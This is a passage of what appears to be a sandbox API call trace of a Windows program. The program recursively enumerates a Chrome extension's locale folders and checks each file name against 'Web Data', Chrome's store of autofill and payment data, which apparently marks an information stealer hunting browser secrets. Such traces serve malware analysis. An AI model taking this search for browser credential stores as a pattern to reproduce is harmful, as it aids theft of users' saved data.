lpFindFileData=0x21f0d0) returned 1 [0056.378] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.378] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.378] lstrlenA (lpString="\\") returned 1 [0056.378] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.378] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.378] lstrlenA (lpString="th") returned 2 [0056.378] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.378] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th" [0056.378] LocalFree (hMem=0x2e0108) returned 0x0 [0056.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th") returned 133 [0056.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th") returned 133 [0056.378] lstrlenA (lpString="\\*.*") returned 4 [0056.378] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.378] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th" [0056.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*.*" [0056.378] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.379] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.379] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.379] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.379] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.379] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.379] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.379] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.379] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.379] LocalFree (hMem=0x2e0328) returned 0x0 [0056.379] LocalFree (hMem=0x2e0218) returned 0x0 [0056.379] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.379] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.379] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.379] lstrlenA (lpString="\\") returned 1 [0056.379] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.379] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.379] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.379] lstrlenA (lpString="tr") returned 2 [0056.379] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.379] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.379] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr" [0056.379] LocalFree (hMem=0x2e0108) returned 0x0 [0056.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr") returned 133 [0056.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr") returned 133 [0056.379] lstrlenA (lpString="\\*.*") returned 4 [0056.379] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.379] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr" [0056.379] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*.*" [0056.379] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.379] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.379] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.379] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.379] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.379] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.379] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.379] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.379] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.379] LocalFree (hMem=0x2e0328) returned 0x0 [0056.379] LocalFree (hMem=0x2e0218) returned 0x0 [0056.379] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.380] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.380] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.380] lstrlenA (lpString="\\") returned 1 [0056.380] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.380] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.380] lstrlenA (lpString="uk") returned 2 [0056.380] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.380] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk" [0056.380] LocalFree (hMem=0x2e0108) returned 0x0 [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk") returned 133 [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk") returned 133 [0056.380] lstrlenA (lpString="\\*.*") returned 4 [0056.380] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.380] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk" [0056.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*.*" [0056.380] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.380] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.380] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.380] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.380] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.380] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.380] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.380] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.380] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.380] LocalFree (hMem=0x2e0328) returned 0x0 [0056.380] LocalFree (hMem=0x2e0218) returned 0x0 [0056.380] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.380] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.380] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.380] lstrlenA (lpString="\\") returned 1 [0056.380] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.380] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.380] lstrlenA (lpString="vi") returned 2 [0056.380] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.380] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi" [0056.381] LocalFree (hMem=0x2e0108) returned 0x0 [0056.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi") returned 133 [0056.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi") returned 133 [0056.381] lstrlenA (lpString="\\*.*") returned 4 [0056.381] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.381] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi" [0056.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*.*" [0056.381] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.381] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.381] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.381] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.381] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.381] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.381] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.381] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.381] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.381] LocalFree (hMem=0x2e0328) returned 0x0 [0056.381] LocalFree (hMem=0x2e0218) returned 0x0 [0056.381] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.381] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.381] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.381] lstrlenA (lpString="C:\\Users\\aDU0VK 